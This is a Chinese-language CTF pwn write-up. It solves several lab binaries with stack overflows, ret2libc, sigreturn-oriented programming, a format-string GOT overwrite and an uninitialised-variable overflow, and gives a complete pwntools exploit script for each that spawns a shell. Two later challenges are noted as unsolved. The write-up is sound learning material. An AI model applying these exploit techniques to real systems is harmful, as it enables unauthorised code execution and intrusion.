ret
签到题,明摆着的栈溢出和后门函数,略
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ret_addr = 0x400501
backdoor = 0x0400676
io = connect("host.docker.internal", 64958)
io.recvuntil(b"sign-in!")
payload = b"A"*(16 + 8)
payload += p64(ret_addr)
payload += p64(backdoor)
io.sendline(payload)
io.interactive()
pop
提示了ret2libc
__int64 vuln()
{
_BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF
puts("No backdoors this time!");
return gets(v1);
}
只给了一个任意读,第一步是泄露libc基地址,利用got表泄露,gadget都很全,然后回到vuln函数再利用一次
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
pop_rdi_ret = 0x400713
ret_addr = 0x4004c9
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#io = process('./pwn')
io = connect("host.docker.internal",32821)
# 第一阶段:泄露puts地址
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln_addr = 0x400626
payload1 = b"A" * 24
payload1 += p64(pop_rdi_ret)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln_addr)
io.recvuntil(b"time!")
io.sendline(payload1)
io.recv(6)
# 接收泄露的地址
puts_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"puts leak: 0x{puts_leak:x}")
log.info(f"libc base: 0x{libc_base:x}")
log.info(f"system: 0x{system_addr:x}")
log.info(f"/bin/sh: 0x{binsh_addr:x}")
# 第二阶段:获取shell
payload2 = b"A" * 24
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
Easy-syscall
有一个magic函数
__int64 magic()
{
__int64 result; // rax
result = 15;
__asm { syscall; LINUX - sys_rt_sigreturn }
return result;
}
进行了一个陌生的系统调用,其作用很强大,根据栈上数据重新设置所有寄存器的值,pwntools里有SigreturnFrame()函数来辅助构建payload
既然可以随意修改寄存器的值了,还有栈溢出可以ROP,那就把rax设置成59,再跳到call system即可
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#io = process('./pwn')
io = connect("host.docker.internal",36493)
io.recvuntil(b"here...")
magic_addr = 0x40117E
binsh = 0x0402008
ret_addr = 0x40101a
syscall_addr = 0x401185
bss_addr = 0x404060
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x402008
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x401185
frame_bytes = bytes(frame)
payload = b"A"*48 + b"B"*8
payload += p64(magic_addr)
payload += bytes(frame)
#gdb.attach(io)
io.send(payload)
io.interactive()
解这道题的时候一开始手欠在ROP链的开始放了一个ret的gadget,导致sigreturn的时候寄存器全都错位了且其中一个怎么都设置不对正确的值,一度以为pwntools不靠谱了
sentences
一如既往地打开IDA
unsigned __int64 vuln()
{
int i; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Do you have anything you'd like to say to the problem setter?");
puts("You can only say three sentences.");
for ( i = 0; i <= 2; ++i )
{
read(0, buf, 0x100u);
printf(buf);
}
puts("Alright, I haven't received anything now.");
puts("And I won't give you a reply in the future either.");
return v3 - __readfsqword(0x28u);
}
很明显的格式化字符串漏洞,思路也很明确,先泄露栈地址、libc上函数地址,再利用栈地址找偏移,篡改循环变量i的值为负数,再篡改printf的got表项使其指向system,最后传一个/bin/sh\x00给printf
system和printf的libc地址后三字节不同,选择在一次printf里分两次篡改,幸好read的长度足够,没有卡这点,可以放心的拆分。循环里两次read之间没有输出提示,需要sleep一下调控
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
system_offset = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
target_addr = 0x401274
#io = process('./pwn')
io = connect("host.docker.internal", 52701)
io.recvuntil(b'sentences.')
io.sendline(b'%p%p%p%43$p')
io.recv(1)
output = io.recvline()
leaked_stack = int(output.split(b'0x')[1].split(b'?')[0], 16)
leak_libc = int(output.split(b'0x')[3].split(b'?')[0], 16)
ret_addr = int(output.split(b'0x')[4].split(b'?')[0], 16)
main_addr = ret_addr - 78
pm_base = main_addr - 0x1288
printf_got = pm_base + 0x4028
i_addr = leaked_stack - 0xf0 + 0xef
print("leaked_stack: ",hex(leaked_stack))
print("i_addr: ",hex(i_addr))
print("leak_libc: ",hex(leak_libc))
print("print_got",hex(printf_got))
libc = ELF('./libc.so.6')
read_addr = leak_libc - 18
system_offset = libc.symbols['system']
read_offset = libc.symbols['read']
lib_base = read_addr - read_offset
system_addr = lib_base + system_offset
binsh_addr = lib_base + binsh
pop_rdi_ret = lib_base + 0x000000000002a3e5
print("rdi:",hex(pop_rdi_ret))
payload = b''
payload += b"%200c%10$hhnxxxx"
payload += p64(i_addr)
#payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
time.sleep(3)
io.sendline(payload)
def write_system_faster(printf_got, system_addr):
printf_got2 = printf_got + 2
# 写入低 2 字节
low_2_bytes = system_addr & 0xffff
low_3_bytes = (system_addr >> 16) & 0xff
a = low_2_bytes & 0xff
adjusted_high_byte = low_3_bytes + 0x100 - a # 处理回绕
print("low_3_bytes: ",low_3_bytes)
print("system",hex(system_addr))
payload = f"%{low_2_bytes}c%12$hn".encode() + f"%{adjusted_high_byte}c%13$hhn".encode() + b"A" * 7 + p64(printf_got) + p64(printf_got2)
time.sleep(1)
io.sendline(payload)
write_system_faster(printf_got, system_addr)
#payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
time.sleep(3)
#gdb.attach(io)
io.sendline(b"/bin/sh\x00")
io.interactive()
Hard_syscall
IDA打开之后震惊了,一个极简的程序,出题人是纯汇编写的吗?
__int64 vuln()
{
_BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF
write(1, Nothing, 27);
return read(0, v1, 512);
}
给了一个充足的栈溢出,但是除此之外啥也没有,经过上一个ret2syscall的暗示,知道又要利用sigreturn了
第一个难点在于虽然可以自由地ROP,自由地跳转到syscall,但是没有正确设置rax的手段……并非,rax是函数的返回值存放的地方,而read函数返回值为读入的字节数,只需要触发一个read,输入15个字节,再跳到syscall就实现了!
接下来的思路依然是用sigreturn执行execve(“/bin/sh\x00”),这里binsh需要自己写入,正好接着读15字节的机会,再取data段找一个可写的地址塞进去,统统放进SigreturnFrame里
sigreturn会破坏原有的ROP链,很显然原有的rsp rbp都丢掉了,所以第一轮利用之后需要重新布置栈,需要把rip改到read函数处再读一遍,buf改到可控的地方,构建出新的ROP链,也就是再read一遍15字节触发sigreturn把binsh的地址等等传进去,完美cat flag
最后一轮的rsp需要设置成一个安全的值,否则归0会崩溃,栈迁移的经验告诉我不一定非得是0x7ff开头的地方
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
read_addr = 0x40106A
write_addr = 0x401072
ret_addr = 0x401035
system_addr = 0x040106F
fail_data = 0x402000
p_data = 0x402008
#io = process("./pwn")
io = connect("host.docker.internal",49133)
io.recvuntil(b"now!")
frame1 = SigreturnFrame()
frame1.rax = 0 # read
frame1.rdi = 0 # stdin
frame1.rsi = fail_data # 写目标
frame1.rdx = 0x140
frame1.rip = read_addr # 执行 read
frame1.rsp = p_data
frame2 = SigreturnFrame()
frame2.rax = 59 # execve
frame2.rdi = fail_data # /bin/sh\x00
#frame2.rdx = 0
frame2.rip = system_addr # system
frame2.rsp = p_data #随便写一个
payload = b"A"* (16 + 8) #24
payload += p64(read_addr)
payload += p64(system_addr)
payload += bytes(frame1)
io.send(payload)
time.sleep(1)
io.send(b"A"*15)
time.sleep(1)
new_stack = b"/bin/sh\x00"
new_stack += p64(read_addr)
new_stack += p64(system_addr)
new_stack += bytes(frame2)
io.send(new_stack)
payload2 = b"/bin/sh" + b"\x00"*8
time.sleep(1)
#gdb.attach(io)
io.send(payload2)
io.interactive()
ez-dinner
两个函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
Myinit();
puts("Welcome to ldz's Ciber-Stack-Dinner!");
puts("Today's special: Segmentation fault or maybe Nothing happened — served with a stack sauce.");
puts("Don't worry, we saved your return address... maybe...");
func1();
func2();
return 0;
}
再仔细一看
int func1()
{
_QWORD buf[2]; // [rsp+0h] [rbp-110h] BYREF
char v2[240]; // [rsp+10h] [rbp-100h] BYREF
char *v3; // [rsp+100h] [rbp-10h]
int v4; // [rsp+10Ch] [rbp-4h]
puts("So please show me your dinner Admission ticket.");
v4 = read(0, buf, 0x100u);
if ( v4 == -1 )
return puts("You are not authorized to attend this dinner.");
printf("Name: %lx\n", buf[0]);
printf("Age: %lx\n", buf[1]);
v3 = v2;
return printf("Description: %.*s\n", 240, v2);
}
没有栈溢出,但是有输出,可能会泄露出什么,继续看func2
int func2()
{
int v1; // [rsp+Ch] [rbp-64h] BYREF
_QWORD buf[11]; // [rsp+10h] [rbp-60h] BYREF
int v3; // [rsp+68h] [rbp-8h]
int i; // [rsp+6Ch] [rbp-4h]
puts("How many dishes would u like to eat?");
__isoc99_scanf("%1d", &v1);
puts("Okey, then What would you like to eat?");
read(0, buf, 8LL * v1);
for ( i = 0; buf[i] && buf[i] != 10 && i < v1; ++i )
v3 += buf[i];
puts("Cooking ...");
sleep(1u);
puts("The food is served.\nWish you a happy meal!");
i = v3 % 3;
if ( !(v3 % 3) )
return food1();
if ( i == 1 )
return food2();
return food3();
}
要找栈溢出只能从read(0, buf, 8LL * v1);入手,scanf(“%1d”, &v1);强制只能读入一个字节,表面上只能读入0-9实际上如果输入非法字符会被拒收,这样v1就是未初始化的,而func1恰好可以往栈上写入很多东西,于是借此机会把v1改成大数,于是栈溢出就有了
没有后门函数和syscall,给了libc,显然接下来要想办法搞到libc的基址正好可以利用func1的泄露,如果输入没有覆盖,岂不是会读到未定义的东西,试了一下果然出现了libc里的函数地址
接下来就简单了,第二轮的func1没碰太多栈,于是再次进入func2,v1还是未初始化的值,栈溢出依然存在,于是顺理成章ROP即可
一个坑点是,func1的输入\n,由于算输入非法,输入内容没有被接收就还停留在缓冲区里等着下一次输入,然后进了scanf,导致payload被本来发给scanf的字符截胡,可气的是出现了本地gdb里能跑通,退出gdb就跑不通的诡异情况,好一顿排查……其实没有,一调试就是成功,偶然注意到输入输出不对劲才反应过来,gdb把两次输入拼到了一起,而本地和远程都没有!
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ret_addr = 0x40129E
binsh = 0x4022A3
call_1 = 0x4015C6
bss_addr = 0x4040A0 + 0x100
# 连接目标
#p = process('./dinner')
p = connect("host.docker.internal",51040)
libc = ELF('./libc.so.6')
elf = ELF('./dinner')
rop = ROP(libc)
puts_got = elf.got['puts']
pop_rdi_ret_offset = rop.find_gadget(['pop rdi', 'ret'])[0]
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
# 阶段1:设置 v1 残留值
payload1 = b'A' * 0xac # 填充到 v1 位置 (172 字节)
payload1 += p32(50)
payload1 += b'B' * (256 - 0xac - 4) # 填充剩余
p.recvuntil(b"ticket.")
p.send(payload1)
# 阶段2:让 scanf 失败
p.recvuntil(b"How many dishes would u like to eat?")
#gdb.attach(p)
p.send(b'a') # 非数字输入,scanf 失败
#第三步,回到开头泄露地址
payload2 = b'B' + b'C' * 87 # 填满 buf[11]
payload2 += b'D' * 8 # 填充
payload2 += p64(bss_addr) # 填充rbp
payload2 += p64(call_1)
p.recvuntil(b"What would you like to eat?")
p.sendline(payload2)
#第四步,跳过输入,泄露
p.recvuntil(b"ticket.")
p.send(b'\n')
p.recv(1)
name = p.recvline()
age_line = p.recvline().strip()
print("age:",age_line)
age_hex = age_line.decode().split()[-1]
age = int(age_hex, 16)
system = age + 0x64750 - 0x9eef3
libc_base = system - system_offset
pop_rdi_ret = libc_base + pop_rdi_ret_offset
# 第五步,跳过
p.recvuntil(b"How many dishes would u like to eat?")
#p.send(b'a')
payload3 = b'C' * 88 # 填满 buf[11]
payload3 += b'D' * 8 # 填充
#payload3 += b'E' * 8 # 填充rbp
payload3 += p64(ret_addr)
payload3 += p64(ret_addr)
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh)
payload3 += p64(system)
p.recvuntil(b"Okey, then What would you like to eat?")
#gdb.attach(p)
p.sendline(payload3)
print("system:",hex(system))
print("pop_rdi",hex(pop_rdi_ret))
p.interactive()
pivot
简洁至极的程序,除了libc和16字节的栈溢出真就什么都没有。如果给个pop rdi ret的gadget就可以很舒适地调用puts泄露libc基地址,栈迁移重新ROP,然而啥也没有。
尝试迁移后直接puts泄露got表,但是没有成功,疑似是RELRO: Full RELRO干的好事
尝试学习ret2dl-resolve,并没有掌握于是未果
uniform
能看得出是UAF漏洞,但是涉及堆,还没学过,本来想pivot解完去学的,结果卡死了,不会